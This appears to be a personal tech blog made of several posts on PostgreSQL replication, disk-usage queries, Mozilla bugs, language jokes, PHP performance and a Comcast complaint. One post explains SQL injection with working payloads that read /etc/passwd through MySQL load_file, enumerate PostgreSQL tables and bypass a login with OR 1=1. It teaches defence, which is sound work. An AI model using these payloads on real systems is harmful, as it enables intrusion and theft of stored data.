One of PostgreSQL’s biggest weaknesses is easy replication and clustering. Note, that I said easy. There’s absolutely replication solutions for PostgreSQL, but many of them have serious downfalls, and are a serious pain in the ass to setup.

Slony-I is a decent single-master multi-slave solution, if you don’t need LOBs replicated. It’s a little hard to setup, and you have to learn it’s special syntax for the config files you will have to create. A serious pitfall is it is ascynchronous, and therefore doesn’t guarantee all nodes will have the same information at any given time. Writes don’t scale very well. Also, if the master server goes down, you’re pretty much screwed unless you have a really cleaver way of failing over, since:

• Sequence replication isn’t always reliable.
• Triggers are disabled on all nodes, except for the master, to make sure they’re not called twice.
• Incomplete failover results in errors being thrown on all nodes, including the failover master, with writes.

When using Slony-I, you need something like pgpool-II so you can transparently load balance nodes and redirect writes to the master server.

pgpool-II also has a multi-master replication mode, however, it absolutely sucks. The reason? It’s statement based, so instead of doing an insert and copying the result to all other nodes, it runs the same statement on all nodes, resulting in drift on all fields that use default values.

PgCluster seems to fix just about all of the problems with Slony-I and pgpool-II, by providing synchronous multi-master replication, however:

• It’s basically a patchset to PostgreSQL, so it tends to run a release behind.
• It’s a major, major, MAJOR, pain in the ass to setup.

I’m growing sick of Mozilla projects. The problem I have with them? Bugs, bugs, bugs, bugs, bugs.

Just for instance, in Mozilla Thunderbird there’s this bug that has been around for years and is driving me mad. After it’s been running for a while, it suddenly starts sucking up 100% of my CPU, and I have to restart it. It has been reported by many users, and it still doesn’t seem to have been fixed.

Also, with Firefox, after it’s been running for a while (maybe a couple days or so) it starts slowing down. And I mean really slowing down. Sometimes it takes ten seconds for it to respond to a single click. Other times, I have to kill it because it won’t respond. What’s worse, is it also crashes completely on some sites; I’ve run into this many times on del.icio.us. Firefox 3 beta is even worse!

A while ago, I saw this post on Paul’s blog, about a query to get database size. I looked into it, but I was pretty unhappy with the query, as pg_database_size appears to include the size of pg_catalog.

The actual query in question is this:

SELECT
    pg_database.datname,
    pg_size_pretty(pg_database_size(pg_database.datname))
        AS size FROM pg_database;

The query I came up with, has a much more accurate usage of what a user can actually control, the downside being you have to connect to each database to get usage:

SELECT
    CURRENT_DATABASE(),
    pg_size_pretty(sum(pg_total_relation_size(tablename))::int8)
        AS size
    FROM pg_tables
    WHERE schemaname != 'pg_catalog'
    AND schemaname != 'information_schema';

For a better breakdown of which tables are hogging disk space, I came up with this:

SELECT
    tablename,
    pg_size_pretty(pg_total_relation_size(tablename)) AS total_usage,
    pg_size_pretty((pg_total_relation_size(tablename)
        - pg_relation_size(tablename))) AS external_table_usage
    FROM pg_tables
    WHERE schemaname != 'pg_catalog'
        AND schemaname != 'information_schema'
    ORDER BY pg_total_relation_size(tablename);

The external_table_usage column shows how much space is being used for things such as indexes, very useful if you’re looking to free up some space by dropping unneeded indexes.

Ruby

A lot of hype, useless in the real world.

Python

A bunch of self-punishing nuns who whip themselves with chain every time they don’t follow strict syntax standards.

Perl

Used to write scripts that automate server functions, by people who don’t realize you can do the exact same things with a bash script in 1/5th the time and with half the bugs. Also: impossible to read.

ColdFusion

The bad guy in the movie that never seems to die.

PHP

Written by the largest group of schizophrenics with obsessive-compulsive disorder. They try to keep backwards compatibility where it’s not needed, and remove it where it is. Also: has had more API changes than Michael Jackson has had nose jobs.

LOLCODE

The best language ever written. There’s even PL/LOLCODE for PostgreSQL.

HAI

CAN HAS STDIO?

VISIBLE “HAI WORLD!”

KTHXBYE

Here’s some patches to get Quake2 running on 64bit Linux. It should apply cleanly to quake2-r0.16.1.

Quake2 64bit Fix

Rogue Expansion Fix

Xatrix Expansion Fix

In my previous post, I tried to find out why a PHP script was so slow. Here’s an update from then.

Basically, pg_connect is slow. There’s probably a lot of PHP overhead to connect to a database plus it probably expects to be opening a fresh connection everytime, as using pooled connections doesn’t seem to speed it up very much (it goes from ~50 requests a second to ~200). Persistent connections seem to be much faster, albeit much slower than connecting to a pool with Python (450 requests a second compared to 1000), however, if you understand the inner workings of persistent connections you will know that using them with PostgreSQL is seriously broken, as a small number of users connecting to different sites on the same server can easily exhaust max_connections. Using pg_pconnect to connect to a connection pool doesn’t work either; it’s like combining the worst of both: the slowness of pg_connect, and the broken-ness of pg_pconnect.

So there’s pretty much no solution to this problem at this point in time, except maybe to port the script to Python.

In order to understand how to protect your application from SQL Injection attacks, it’s a good idea to understand how SQL Injection works.

One big mistake people have is forgetting to turn off debugging. Debugging information is the holy grail for hackers. Not only can they attack your application, but they can also see the internals of your database, and worse! As is the case with mysql, you can actually load files from the server, and workout a plan to compromise the server! Suppose you have a simple login form, with fields “Username” and “Password”. The table might look something like this:

id INTEGER,
username VARCHAR(32),
password VARCHAR(64)

Let’s assume the programmer forgot to quote the password correctly. Now, by manipulating the unquoted field, a hacker can easily craft a query like this:

SELECT * FROM users WHERE username = ‘bob’ AND password = ‘‘ OR 1=1 UNION SELECT null,load_file(’/etc/passwd’),null; — ‘;

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
cupsys:x:106:113::/home/cupsys:/bin/false
haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false
hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false
user1:x:109:7:User 1,,,:/home/user1:/bin/bash

As you can see, the result returned all of the users in /etc/passwd. This information can be used to find acceptable user accounts to be brute forced, for instance, user1 has a bash shell and a password, unlike unlike cupsys which can only run commands via sudo since it has no password and no shell. This same method can be used to download binary files, such as to find a vulnerable version of a program.

With other database systems, however, you can’t do this, since MySQL is the only database server that, to my knowledge, supports the load_file function. You can, however, gain access to an application with other database systems, or find more information about the database layout. For instance, using the same vulnerability as before but with PostgreSQL, you can run this instead:

SELECT * FROM users WHERE username = ‘foo’ AND password = ‘‘ OR 1=1 UNION SELECT 0,tablename,null FROM pg_tables WHERE schemaname = ‘public’; —’‘;

id | username | password
—-+———————-+———-
0 | pages |
0 | creditcard_numbers |
0 | users |

That query returns all of the tables in the database, for further manipulation and data theft. What makes this dangerous is databases that hold sensitive information, such as credit card numbers, social security/national ID numbers, addresses, and email accounts.

However, not all applications have debugging turned on, so instead what you can do is first gain access to the site by changing a few things in the above queries, then deface or steal data from the admin panel. This can be done quite easily.

SELECT * FROM users WHERE username = ‘foo’ AND password = ‘‘ OR 1=1 LIMIT 1; — ‘‘;

That query will always return with one row, and thus can allow a hacker to gain access to a site.

One thing to remember is everything has bugs. Whether or not those bugs can be used to create an exploit is up in the air. Always sanitise your input. Cast fields that are supposed to be integers as such (ie. $id = (int)$_GET[’id’]), and most importantly, always escape and quote all input before running a query.

It’s plain and simple: Comcasts HD lineup sucks.I live in the Tacoma, WA area, and Comcast’s HD lineup here is absolute crap. I have, maybe, 20 HD channels. For Christ’s sake, Dish Network has more HD than Comcast, and I am pissed off because Comcast keeps running these commercials, saying they have more HD than anyone else. LIES!Let’s run through a couple HD channels that DirectTV has, and Comcast doesn’t:

• CNN HD
• TLC HD
• Discovery HD
• Nickelodeon HD
• Cartoon Network HD
• FX HD
• Spike HD
• SciFi HD
• CMT HD
• MTV HD
• TBS HD
• CNBC HD
• Bravo HD
• Food Network HD
• Versus HD
• Science Channel HD
• MGM HD
• Speed HD
• Movie Channel HD
• Fox Business HD

Comcast started rolling out new HD channels in the Philadelphia area, and they promote those channels in their advertisements, even though that’s the only area that has those channels. I’m fed up with this BS.